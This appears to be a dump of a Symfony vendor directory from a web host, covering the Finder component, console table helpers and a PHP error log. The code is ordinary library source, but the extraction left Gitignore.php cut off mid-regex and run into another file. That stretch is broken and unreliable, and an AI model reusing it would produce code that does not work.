...$resolvedDirs); return $this; } /** * Returns an Iterator for the current Finder configuration. * * This method implements the IteratorAggregate interface. * * @return \Iterator * * @throws \LogicException if the in() method has not been called */ public function getIterator(): \Iterator { if (0 === \count($this->dirs) && 0 === \count($this->iterators)) { throw new \LogicException('You must call one of in() or append() methods before iterating over a Finder.'); } if (1 === \count($this->dirs) && 0 === \count($this->iterators)) { $iterator = $this->searchInDirectory($this->dirs[0]); if ($this->sort || $this->reverseSorting) { $iterator = (new Iterator\SortableIterator($iterator, $this->sort, $this->reverseSorting))->getIterator(); } return $iterator; } $iterator = new \AppendIterator(); foreach ($this->dirs as $dir) { $iterator->append(new \IteratorIterator(new LazyIterator(fn () => $this->searchInDirectory($dir)))); } foreach ($this->iterators as $it) { $iterator->append($it); } if ($this->sort || $this->reverseSorting) { $iterator = (new Iterator\SortableIterator($iterator, $this->sort, $this->reverseSorting))->getIterator(); } return $iterator; } /** * Appends an existing set of files/directories to the finder. * * The set can be another Finder, an Iterator, an IteratorAggregate, or even a plain array. * * @return $this * * @throws \InvalidArgumentException when the given argument is not iterable */ public function append(iterable $iterator): static { if ($iterator instanceof \IteratorAggregate) { $this->iterators[] = $iterator->getIterator(); } elseif ($iterator instanceof \Iterator) { $this->iterators[] = $iterator; } elseif (is_iterable($iterator)) { $it = new \ArrayIterator(); foreach ($iterator as $file) { $file = $file instanceof \SplFileInfo ? $file : new \SplFileInfo($file); $it[$file->getPathname()] = $file; } $this->iterators[] = $it; } else { throw new \InvalidArgumentException('Finder::append() method wrong argument type.'); } return $this; } /** * Check if any results were found. */ public function hasResults(): bool { foreach ($this->getIterator() as $_) { return true; } return false; } /** * Counts all the results collected by the iterators. */ public function count(): int { return iterator_count($this->getIterator()); } private function searchInDirectory(string $dir): \Iterator { $exclude = $this->exclude; $notPaths = $this->notPaths; if (static::IGNORE_VCS_FILES === (static::IGNORE_VCS_FILES & $this->ignore)) { $exclude = array_merge($exclude, self::$vcsPatterns); } if (static::IGNORE_DOT_FILES === (static::IGNORE_DOT_FILES & $this->ignore)) { $notPaths[] = '#(^|/)\..+(/|$)#'; } $minDepth = 0; $maxDepth = \PHP_INT_MAX; foreach ($this->depths as $comparator) { switch ($comparator->getOperator()) { case '>': $minDepth = $comparator->getTarget() + 1; break; case '>=': $minDepth = $comparator->getTarget(); break; case '<': $maxDepth = $comparator->getTarget() - 1; break; case '<=': $maxDepth = $comparator->getTarget(); break; default: $minDepth = $maxDepth = $comparator->getTarget(); } } $flags = \RecursiveDirectoryIterator::SKIP_DOTS; if ($this->followLinks) { $flags |= \RecursiveDirectoryIterator::FOLLOW_SYMLINKS; } $iterator = new Iterator\RecursiveDirectoryIterator($dir, $flags, $this->ignoreUnreadableDirs); if ($exclude) { $iterator = new Iterator\ExcludeDirectoryFilterIterator($iterator, $exclude); } $iterator = new \RecursiveIteratorIterator($iterator, \RecursiveIteratorIterator::SELF_FIRST); if ($minDepth > 0 || $maxDepth < \PHP_INT_MAX) { $iterator = new Iterator\DepthRangeFilterIterator($iterator, $minDepth, $maxDepth); } if ($this->mode) { $iterator = new Iterator\FileTypeFilterIterator($iterator, $this->mode); } if ($this->names || $this->notNames) { $iterator = new Iterator\FilenameFilterIterator($iterator, $this->names, $this->notNames); } if ($this->contains || $this->notContains) { $iterator = new Iterator\FilecontentFilterIterator($iterator, $this->contains, $this->notContains); } if ($this->sizes) { $iterator = new Iterator\SizeRangeFilterIterator($iterator, $this->sizes); } if ($this->dates) { $iterator = new Iterator\DateRangeFilterIterator($iterator, $this->dates); } if ($this->filters) { $iterator = new Iterator\CustomFilterIterator($iterator, $this->filters); } if ($this->paths || $notPaths) { $iterator = new Iterator\PathFilterIterator($iterator, $this->paths, $notPaths); } if (static::IGNORE_VCS_IGNORED_FILES === (static::IGNORE_VCS_IGNORED_FILES & $this->ignore)) { $iterator = new Iterator\VcsIgnoredFilterIterator($iterator, $dir); } return $iterator; } /** * Normalizes given directory names by removing trailing slashes. * * Excluding: (s)ftp:// or ssh2.(s)ftp:// wrapper */ private function normalizeDir(string $dir): string { if ('/' === $dir) { return $dir; } $dir = rtrim($dir, '/'.\DIRECTORY_SEPARATOR); if (preg_match('#^(ssh2\.)?s?ftp://#', $dir)) { $dir .= '/'; } return $dir; } } finder/Exception/DirectoryNotFoundException.php000064400000000643151113511730015763 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Exception; /** * @author Andreas Erhard */ class DirectoryNotFoundException extends \InvalidArgumentException { } finder/Exception/AccessDeniedException.php000064400000000653151113511730014655 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Exception; /** * @author Jean-François Simon */ class AccessDeniedException extends \UnexpectedValueException { } finder/composer.json000064400000001371151113511730010535 0ustar00{ "name": "symfony/finder", "type": "library", "description": "Finds files and directories via an intuitive fluent interface", "keywords": [], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "require-dev": { "symfony/filesystem": "^6.0" }, "autoload": { "psr-4": { "Symfony\\Component\\Finder\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } finder/Glob.php000064400000007017151113511730007412 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Glob matches globbing patterns against text. * * if match_glob("foo.*", "foo.bar") echo "matched\n"; * * // prints foo.bar and foo.baz * $regex = glob_to_regex("foo.*"); * for (['foo.bar', 'foo.baz', 'foo', 'bar'] as $t) * { * if (/$regex/) echo "matched: $car\n"; * } * * Glob implements glob(3) style matching that can be used to match * against text, rather than fetching names from a filesystem. * * Based on the Perl Text::Glob module. * * @author Fabien Potencier PHP port * @author Richard Clamp Perl version * @copyright 2004-2005 Fabien Potencier * @copyright 2002 Richard Clamp */ class Glob { /** * Returns a regexp which is the equivalent of the glob pattern. */ public static function toRegex(string $glob, bool $strictLeadingDot = true, bool $strictWildcardSlash = true, string $delimiter = '#'): string { $firstByte = true; $escaping = false; $inCurlies = 0; $regex = ''; $sizeGlob = \strlen($glob); for ($i = 0; $i < $sizeGlob; ++$i) { $car = $glob[$i]; if ($firstByte && $strictLeadingDot && '.' !== $car) { $regex .= '(?=[^\.])'; } $firstByte = '/' === $car; if ($firstByte && $strictWildcardSlash && isset($glob[$i + 2]) && '**' === $glob[$i + 1].$glob[$i + 2] && (!isset($glob[$i + 3]) || '/' === $glob[$i + 3])) { $car = '[^/]++/'; if (!isset($glob[$i + 3])) { $car .= '?'; } if ($strictLeadingDot) { $car = '(?=[^\.])'.$car; } $car = '/(?:'.$car.')*'; $i += 2 + isset($glob[$i + 3]); if ('/' === $delimiter) { $car = str_replace('/', '\\/', $car); } } if ($delimiter === $car || '.' === $car || '(' === $car || ')' === $car || '|' === $car || '+' === $car || '^' === $car || '$' === $car) { $regex .= "\\$car"; } elseif ('*' === $car) { $regex .= $escaping ? '\\*' : ($strictWildcardSlash ? '[^/]*' : '.*'); } elseif ('?' === $car) { $regex .= $escaping ? '\\?' : ($strictWildcardSlash ? '[^/]' : '.'); } elseif ('{' === $car) { $regex .= $escaping ? '\\{' : '('; if (!$escaping) { ++$inCurlies; } } elseif ('}' === $car && $inCurlies) { $regex .= $escaping ? '}' : ')'; if (!$escaping) { --$inCurlies; } } elseif (',' === $car && $inCurlies) { $regex .= $escaping ? ',' : '|'; } elseif ('\\' === $car) { if ($escaping) { $regex .= '\\\\'; $escaping = false; } else { $escaping = true; } continue; } else { $regex .= $car; } $escaping = false; } return $delimiter.'^'.$regex.'$'.$delimiter; } } finder/Comparator/NumberComparator.php000064400000005005151113511730014111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * NumberComparator compiles a simple comparison to an anonymous * subroutine, which you can call with a value to be tested again. * * Now this would be very pointless, if NumberCompare didn't understand * magnitudes. * * The target value may use magnitudes of kilobytes (k, ki), * megabytes (m, mi), or gigabytes (g, gi). Those suffixed * with an i use the appropriate 2**n version in accordance with the * IEC standard: http://physics.nist.gov/cuu/Units/binary.html * * Based on the Perl Number::Compare module. * * @author Fabien Potencier PHP port * @author Richard Clamp Perl version * @copyright 2004-2005 Fabien Potencier * @copyright 2002 Richard Clamp * * @see http://physics.nist.gov/cuu/Units/binary.html */ class NumberComparator extends Comparator { /** * @param string|null $test A comparison string or null * * @throws \InvalidArgumentException If the test is not understood */ public function __construct(?string $test) { if (null === $test || !preg_match('#^\s*(==|!=|[<>]=?)?\s*([0-9\.]+)\s*([kmg]i?)?\s*$#i', $test, $matches)) { throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a number test.', $test ?? 'null')); } $target = $matches[2]; if (!is_numeric($target)) { throw new \InvalidArgumentException(sprintf('Invalid number "%s".', $target)); } if (isset($matches[3])) { // magnitude switch (strtolower($matches[3])) { case 'k': $target *= 1000; break; case 'ki': $target *= 1024; break; case 'm': $target *= 1000000; break; case 'mi': $target *= 1024 * 1024; break; case 'g': $target *= 1000000000; break; case 'gi': $target *= 1024 * 1024 * 1024; break; } } parent::__construct($target, $matches[1] ?: '=='); } } finder/Comparator/Comparator.php000064400000002647151113511730012751 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * @author Fabien Potencier */ class Comparator { private string $target; private string $operator; public function __construct(string $target, string $operator = '==') { if (!\in_array($operator, ['>', '<', '>=', '<=', '==', '!='])) { throw new \InvalidArgumentException(sprintf('Invalid operator "%s".', $operator)); } $this->target = $target; $this->operator = $operator; } /** * Gets the target value. */ public function getTarget(): string { return $this->target; } /** * Gets the comparison operator. */ public function getOperator(): string { return $this->operator; } /** * Tests against the target. */ public function test(mixed $test): bool { return match ($this->operator) { '>' => $test > $this->target, '>=' => $test >= $this->target, '<' => $test < $this->target, '<=' => $test <= $this->target, '!=' => $test != $this->target, default => $test == $this->target, }; } } finder/Comparator/error_log000064400000002610151113511730012034 0ustar00[20-Nov-2025 08:00:08 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Comparator\Comparator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/DateComparator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/DateComparator.php on line 19 [20-Nov-2025 08:14:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Comparator\Comparator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/NumberComparator.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/NumberComparator.php on line 35 [25-Nov-2025 03:05:53 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Comparator\Comparator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/NumberComparator.php:35 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/NumberComparator.php on line 35 [25-Nov-2025 03:26:21 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Finder\Comparator\Comparator" not found in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/DateComparator.php:19 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/finder/Comparator/DateComparator.php on line 19 finder/Comparator/DateComparator.php000064400000002576151113511730013550 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * DateCompare compiles date comparisons. * * @author Fabien Potencier */ class DateComparator extends Comparator { /** * @param string $test A comparison string * * @throws \InvalidArgumentException If the test is not understood */ public function __construct(string $test) { if (!preg_match('#^\s*(==|!=|[<>]=?|after|since|before|until)?\s*(.+?)\s*$#i', $test, $matches)) { throw new \InvalidArgumentException(sprintf('Don\'t understand "%s" as a date test.', $test)); } try { $date = new \DateTimeImmutable($matches[2]); $target = $date->format('U'); } catch (\Exception) { throw new \InvalidArgumentException(sprintf('"%s" is not a valid date.', $matches[2])); } $operator = $matches[1] ?? '=='; if ('since' === $operator || 'after' === $operator) { $operator = '>'; } if ('until' === $operator || 'before' === $operator) { $operator = '<'; } parent::__construct($target, $operator); } } finder/SplFileInfo.php000064400000003727151113511730010705 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Extends \SplFileInfo to support relative paths. * * @author Fabien Potencier */ class SplFileInfo extends \SplFileInfo { private string $relativePath; private string $relativePathname; /** * @param string $file The file name * @param string $relativePath The relative path * @param string $relativePathname The relative path name */ public function __construct(string $file, string $relativePath, string $relativePathname) { parent::__construct($file); $this->relativePath = $relativePath; $this->relativePathname = $relativePathname; } /** * Returns the relative path. * * This path does not contain the file name. */ public function getRelativePath(): string { return $this->relativePath; } /** * Returns the relative path name. * * This path contains the file name. */ public function getRelativePathname(): string { return $this->relativePathname; } public function getFilenameWithoutExtension(): string { $filename = $this->getFilename(); return pathinfo($filename, \PATHINFO_FILENAME); } /** * Returns the contents of the file. * * @throws \RuntimeException */ public function getContents(): string { set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); try { $content = file_get_contents($this->getPathname()); } finally { restore_error_handler(); } if (false === $content) { throw new \RuntimeException($error); } return $content; } } finder/Gitignore.php000064400000005704151113511730010457 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Gitignore matches against text. * * @author Michael Voříšek * @author Ahmed Abdou */ class Gitignore { /** * Returns a regexp which is the equivalent of the gitignore pattern. * * Format specification: https://git-scm.com/docs/gitignore#_pattern_format */ public static function toRegex(string $gitignoreFileContent): string { return self::buildRegex($gitignoreFileContent, false); } public static function toRegexMatchingNegatedPatterns(string $gitignoreFileContent): string { return self::buildRegex($gitignoreFileContent, true); } private static function buildRegex(string $gitignoreFileContent, bool $inverted): string { $gitignoreFileContent = preg_replace('~(? '['.('' !== $matches[1] ? '^' : '').str_replace('\\-', '-', $matches[2]).']', $regex); $regex = preg_replace('~(?:(?:\\\\\*){2,}(/?))+~', '(?:(?:(?!//).(? * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Input\InputAwareInterface; use Symfony\Component\Console\Input\InputInterface; /** * An implementation of InputAwareInterface for Helpers. * * @author Wouter J */ abstract class InputAwareHelper extends Helper implements InputAwareInterface { protected $input; /** * @return void */ public function setInput(InputInterface $input) { $this->input = $input; } } console/Helper/TableCellStyle.php000064400000004245151113511740013012 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Yewhen Khoptynskyi */ class TableCellStyle { public const DEFAULT_ALIGN = 'left'; private const TAG_OPTIONS = [ 'fg', 'bg', 'options', ]; private const ALIGN_MAP = [ 'left' => \STR_PAD_RIGHT, 'center' => \STR_PAD_BOTH, 'right' => \STR_PAD_LEFT, ]; private array $options = [ 'fg' => 'default', 'bg' => 'default', 'options' => null, 'align' => self::DEFAULT_ALIGN, 'cellFormat' => null, ]; public function __construct(array $options = []) { if ($diff = array_diff(array_keys($options), array_keys($this->options))) { throw new InvalidArgumentException(sprintf('The TableCellStyle does not support the following options: \'%s\'.', implode('\', \'', $diff))); } if (isset($options['align']) && !\array_key_exists($options['align'], self::ALIGN_MAP)) { throw new InvalidArgumentException(sprintf('Wrong align value. Value must be following: \'%s\'.', implode('\', \'', array_keys(self::ALIGN_MAP)))); } $this->options = array_merge($this->options, $options); } public function getOptions(): array { return $this->options; } /** * Gets options we need for tag for example fg, bg. * * @return string[] */ public function getTagOptions(): array { return array_filter( $this->getOptions(), fn ($key) => \in_array($key, self::TAG_OPTIONS) && isset($this->options[$key]), \ARRAY_FILTER_USE_KEY ); } public function getPadByAlign(): int { return self::ALIGN_MAP[$this->getOptions()['align']]; } public function getCellFormat(): ?string { return $this->getOptions()['cellFormat']; } } console/Helper/TableCell.php000064400000003337151113511740011772 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * @author Abdellatif Ait boudad */ class TableCell { private string $value; private array $options = [ 'rowspan' => 1, 'colspan' => 1, 'style' => null, ]; public function __construct(string $value = '', array $options = []) { $this->value = $value; // check option names if ($diff = array_diff(array_keys($options), array_keys($this->options))) { throw new InvalidArgumentException(sprintf('The TableCell does not support the following options: \'%s\'.', implode('\', \'', $diff))); } if (isset($options['style']) && !$options['style'] instanceof TableCellStyle) { throw new InvalidArgumentException('The style option must be an instance of "TableCellStyle".'); } $this->options = array_merge($this->options, $options); } /** * Returns the cell value. */ public function __toString(): string { return $this->value; } /** * Gets number of colspan. */ public function getColspan(): int { return (int) $this->options['colspan']; } /** * Gets number of rowspan. */ public function getRowspan(): int { return (int) $this->options['rowspan']; } public function getStyle(): ?TableCellStyle { return $this->options['style']; } } console/Helper/TableStyle.php000064400000030723151113511740012212 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\LogicException; /** * Defines the styles for a Table. * * @author Fabien Potencier * @author Саша Стаменковић * @author Dany Maillard */ class TableStyle { private string $paddingChar = ' '; private string $horizontalOutsideBorderChar = '-'; private string $horizontalInsideBorderChar = '-'; private string $verticalOutsideBorderChar = '|'; private string $verticalInsideBorderChar = '|'; private string $crossingChar = '+'; private string $crossingTopRightChar = '+'; private string $crossingTopMidChar = '+'; private string $crossingTopLeftChar = '+'; private string $crossingMidRightChar = '+'; private string $crossingBottomRightChar = '+'; private string $crossingBottomMidChar = '+'; private string $crossingBottomLeftChar = '+'; private string $crossingMidLeftChar = '+'; private string $crossingTopLeftBottomChar = '+'; private string $crossingTopMidBottomChar = '+'; private string $crossingTopRightBottomChar = '+'; private string $headerTitleFormat = ' %s '; private string $footerTitleFormat = ' %s '; private string $cellHeaderFormat = '%s'; private string $cellRowFormat = '%s'; private string $cellRowContentFormat = ' %s '; private string $borderFormat = '%s'; private int $padType = \STR_PAD_RIGHT; /** * Sets padding character, used for cell padding. * * @return $this */ public function setPaddingChar(string $paddingChar): static { if (!$paddingChar) { throw new LogicException('The padding char must not be empty.'); } $this->paddingChar = $paddingChar; return $this; } /** * Gets padding character, used for cell padding. */ public function getPaddingChar(): string { return $this->paddingChar; } /** * Sets horizontal border characters. * * * ╔═══════════════╤══════════════════════════╤══════════════════╗ * 1 ISBN 2 Title │ Author ║ * ╠═══════════════╪══════════════════════════╪══════════════════╣ * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * ╚═══════════════╧══════════════════════════╧══════════════════╝ * * * @return $this */ public function setHorizontalBorderChars(string $outside, string $inside = null): static { $this->horizontalOutsideBorderChar = $outside; $this->horizontalInsideBorderChar = $inside ?? $outside; return $this; } /** * Sets vertical border characters. * * * ╔═══════════════╤══════════════════════════╤══════════════════╗ * ║ ISBN │ Title │ Author ║ * ╠═══════1═══════╪══════════════════════════╪══════════════════╣ * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * ╟───────2───────┼──────────────────────────┼──────────────────╢ * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * ╚═══════════════╧══════════════════════════╧══════════════════╝ * * * @return $this */ public function setVerticalBorderChars(string $outside, string $inside = null): static { $this->verticalOutsideBorderChar = $outside; $this->verticalInsideBorderChar = $inside ?? $outside; return $this; } /** * Gets border characters. * * @internal */ public function getBorderChars(): array { return [ $this->horizontalOutsideBorderChar, $this->verticalOutsideBorderChar, $this->horizontalInsideBorderChar, $this->verticalInsideBorderChar, ]; } /** * Sets crossing characters. * * Example: * * 1═══════════════2══════════════════════════2══════════════════3 * ║ ISBN │ Title │ Author ║ * 8'══════════════0'═════════════════════════0'═════════════════4' * ║ 99921-58-10-7 │ Divine Comedy │ Dante Alighieri ║ * ║ 9971-5-0210-0 │ A Tale of Two Cities │ Charles Dickens ║ * 8───────────────0──────────────────────────0──────────────────4 * ║ 960-425-059-0 │ The Lord of the Rings │ J. R. R. Tolkien ║ * ║ 80-902734-1-6 │ And Then There Were None │ Agatha Christie ║ * 7═══════════════6══════════════════════════6══════════════════5 * * * @param string $cross Crossing char (see #0 of example) * @param string $topLeft Top left char (see #1 of example) * @param string $topMid Top mid char (see #2 of example) * @param string $topRight Top right char (see #3 of example) * @param string $midRight Mid right char (see #4 of example) * @param string $bottomRight Bottom right char (see #5 of example) * @param string $bottomMid Bottom mid char (see #6 of example) * @param string $bottomLeft Bottom left char (see #7 of example) * @param string $midLeft Mid left char (see #8 of example) * @param string|null $topLeftBottom Top left bottom char (see #8' of example), equals to $midLeft if null * @param string|null $topMidBottom Top mid bottom char (see #0' of example), equals to $cross if null * @param string|null $topRightBottom Top right bottom char (see #4' of example), equals to $midRight if null * * @return $this */ public function setCrossingChars(string $cross, string $topLeft, string $topMid, string $topRight, string $midRight, string $bottomRight, string $bottomMid, string $bottomLeft, string $midLeft, string $topLeftBottom = null, string $topMidBottom = null, string $topRightBottom = null): static { $this->crossingChar = $cross; $this->crossingTopLeftChar = $topLeft; $this->crossingTopMidChar = $topMid; $this->crossingTopRightChar = $topRight; $this->crossingMidRightChar = $midRight; $this->crossingBottomRightChar = $bottomRight; $this->crossingBottomMidChar = $bottomMid; $this->crossingBottomLeftChar = $bottomLeft; $this->crossingMidLeftChar = $midLeft; $this->crossingTopLeftBottomChar = $topLeftBottom ?? $midLeft; $this->crossingTopMidBottomChar = $topMidBottom ?? $cross; $this->crossingTopRightBottomChar = $topRightBottom ?? $midRight; return $this; } /** * Sets default crossing character used for each cross. * * @see {@link setCrossingChars()} for setting each crossing individually. */ public function setDefaultCrossingChar(string $char): self { return $this->setCrossingChars($char, $char, $char, $char, $char, $char, $char, $char, $char); } /** * Gets crossing character. */ public function getCrossingChar(): string { return $this->crossingChar; } /** * Gets crossing characters. * * @internal */ public function getCrossingChars(): array { return [ $this->crossingChar, $this->crossingTopLeftChar, $this->crossingTopMidChar, $this->crossingTopRightChar, $this->crossingMidRightChar, $this->crossingBottomRightChar, $this->crossingBottomMidChar, $this->crossingBottomLeftChar, $this->crossingMidLeftChar, $this->crossingTopLeftBottomChar, $this->crossingTopMidBottomChar, $this->crossingTopRightBottomChar, ]; } /** * Sets header cell format. * * @return $this */ public function setCellHeaderFormat(string $cellHeaderFormat): static { $this->cellHeaderFormat = $cellHeaderFormat; return $this; } /** * Gets header cell format. */ public function getCellHeaderFormat(): string { return $this->cellHeaderFormat; } /** * Sets row cell format. * * @return $this */ public function setCellRowFormat(string $cellRowFormat): static { $this->cellRowFormat = $cellRowFormat; return $this; } /** * Gets row cell format. */ public function getCellRowFormat(): string { return $this->cellRowFormat; } /** * Sets row cell content format. * * @return $this */ public function setCellRowContentFormat(string $cellRowContentFormat): static { $this->cellRowContentFormat = $cellRowContentFormat; return $this; } /** * Gets row cell content format. */ public function getCellRowContentFormat(): string { return $this->cellRowContentFormat; } /** * Sets table border format. * * @return $this */ public function setBorderFormat(string $borderFormat): static { $this->borderFormat = $borderFormat; return $this; } /** * Gets table border format. */ public function getBorderFormat(): string { return $this->borderFormat; } /** * Sets cell padding type. * * @return $this */ public function setPadType(int $padType): static { if (!\in_array($padType, [\STR_PAD_LEFT, \STR_PAD_RIGHT, \STR_PAD_BOTH], true)) { throw new InvalidArgumentException('Invalid padding type. Expected one of (STR_PAD_LEFT, STR_PAD_RIGHT, STR_PAD_BOTH).'); } $this->padType = $padType; return $this; } /** * Gets cell padding type. */ public function getPadType(): int { return $this->padType; } public function getHeaderTitleFormat(): string { return $this->headerTitleFormat; } /** * @return $this */ public function setHeaderTitleFormat(string $format): static { $this->headerTitleFormat = $format; return $this; } public function getFooterTitleFormat(): string { return $this->footerTitleFormat; } /** * @return $this */ public function setFooterTitleFormat(string $format): static { $this->footerTitleFormat = $format; return $this; } } console/Helper/Table.php000064400000075250151113511740011175 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Exception\RuntimeException; use Symfony\Component\Console\Formatter\OutputFormatter; use Symfony\Component\Console\Formatter\WrappableOutputFormatterInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; /** * Provides helpers to display a table. * * @author Fabien Potencier * @author Саша Стаменковић * @author Abdellatif Ait boudad * @author Max Grigorian * @author Dany Maillard */ class Table { private const SEPARATOR_TOP = 0; private const SEPARATOR_TOP_BOTTOM = 1; private const SEPARATOR_MID = 2; private const SEPARATOR_BOTTOM = 3; private const BORDER_OUTSIDE = 0; private const BORDER_INSIDE = 1; private const DISPLAY_ORIENTATION_DEFAULT = 'default'; private const DISPLAY_ORIENTATION_HORIZONTAL = 'horizontal'; private const DISPLAY_ORIENTATION_VERTICAL = 'vertical'; private ?string $headerTitle = null; private ?string $footerTitle = null; private array $headers = []; private array $rows = []; private array $effectiveColumnWidths = []; private int $numberOfColumns; private OutputInterface $output; private TableStyle $style; private array $columnStyles = []; private array $columnWidths = []; private array $columnMaxWidths = []; private bool $rendered = false; private string $displayOrientation = self::DISPLAY_ORIENTATION_DEFAULT; private static array $styles; public function __construct(OutputInterface $output) { $this->output = $output; self::$styles ??= self::initStyles(); $this->setStyle('default'); } /** * Sets a style definition. * * @return void */ public static function setStyleDefinition(string $name, TableStyle $style) { self::$styles ??= self::initStyles(); self::$styles[$name] = $style; } /** * Gets a style definition by name. */ public static function getStyleDefinition(string $name): TableStyle { self::$styles ??= self::initStyles(); return self::$styles[$name] ?? throw new InvalidArgumentException(sprintf('Style "%s" is not defined.', $name)); } /** * Sets table style. * * @return $this */ public function setStyle(TableStyle|string $name): static { $this->style = $this->resolveStyle($name); return $this; } /** * Gets the current table style. */ public function getStyle(): TableStyle { return $this->style; } /** * Sets table column style. * * @param TableStyle|string $name The style name or a TableStyle instance * * @return $this */ public function setColumnStyle(int $columnIndex, TableStyle|string $name): static { $this->columnStyles[$columnIndex] = $this->resolveStyle($name); return $this; } /** * Gets the current style for a column. * * If style was not set, it returns the global table style. */ public function getColumnStyle(int $columnIndex): TableStyle { return $this->columnStyles[$columnIndex] ?? $this->getStyle(); } /** * Sets the minimum width of a column. * * @return $this */ public function setColumnWidth(int $columnIndex, int $width): static { $this->columnWidths[$columnIndex] = $width; return $this; } /** * Sets the minimum width of all columns. * * @return $this */ public function setColumnWidths(array $widths): static { $this->columnWidths = []; foreach ($widths as $index => $width) { $this->setColumnWidth($index, $width); } return $this; } /** * Sets the maximum width of a column. * * Any cell within this column which contents exceeds the specified width will be wrapped into multiple lines, while * formatted strings are preserved. * * @return $this */ public function setColumnMaxWidth(int $columnIndex, int $width): static { if (!$this->output->getFormatter() instanceof WrappableOutputFormatterInterface) { throw new \LogicException(sprintf('Setting a maximum column width is only supported when using a "%s" formatter, got "%s".', WrappableOutputFormatterInterface::class, get_debug_type($this->output->getFormatter()))); } $this->columnMaxWidths[$columnIndex] = $width; return $this; } /** * @return $this */ public function setHeaders(array $headers): static { $headers = array_values($headers); if ($headers && !\is_array($headers[0])) { $headers = [$headers]; } $this->headers = $headers; return $this; } /** * @return $this */ public function setRows(array $rows) { $this->rows = []; return $this->addRows($rows); } /** * @return $this */ public function addRows(array $rows): static { foreach ($rows as $row) { $this->addRow($row); } return $this; } /** * @return $this */ public function addRow(TableSeparator|array $row): static { if ($row instanceof TableSeparator) { $this->rows[] = $row; return $this; } $this->rows[] = array_values($row); return $this; } /** * Adds a row to the table, and re-renders the table. * * @return $this */ public function appendRow(TableSeparator|array $row): static { if (!$this->output instanceof ConsoleSectionOutput) { throw new RuntimeException(sprintf('Output should be an instance of "%s" when calling "%s".', ConsoleSectionOutput::class, __METHOD__)); } if ($this->rendered) { $this->output->clear($this->calculateRowCount()); } $this->addRow($row); $this->render(); return $this; } /** * @return $this */ public function setRow(int|string $column, array $row): static { $this->rows[$column] = $row; return $this; } /** * @return $this */ public function setHeaderTitle(?string $title): static { $this->headerTitle = $title; return $this; } /** * @return $this */ public function setFooterTitle(?string $title): static { $this->footerTitle = $title; return $this; } /** * @return $this */ public function setHorizontal(bool $horizontal = true): static { $this->displayOrientation = $horizontal ? self::DISPLAY_ORIENTATION_HORIZONTAL : self::DISPLAY_ORIENTATION_DEFAULT; return $this; } /** * @return $this */ public function setVertical(bool $vertical = true): static { $this->displayOrientation = $vertical ? self::DISPLAY_ORIENTATION_VERTICAL : self::DISPLAY_ORIENTATION_DEFAULT; return $this; } /** * Renders table to output. * * Example: * * +---------------+-----------------------+------------------+ * | ISBN | Title | Author | * +---------------+-----------------------+------------------+ * | 99921-58-10-7 | Divine Comedy | Dante Alighieri | * | 9971-5-0210-0 | A Tale of Two Cities | Charles Dickens | * | 960-425-059-0 | The Lord of the Rings | J. R. R. Tolkien | * +---------------+-----------------------+------------------+ * * @return void */ public function render() 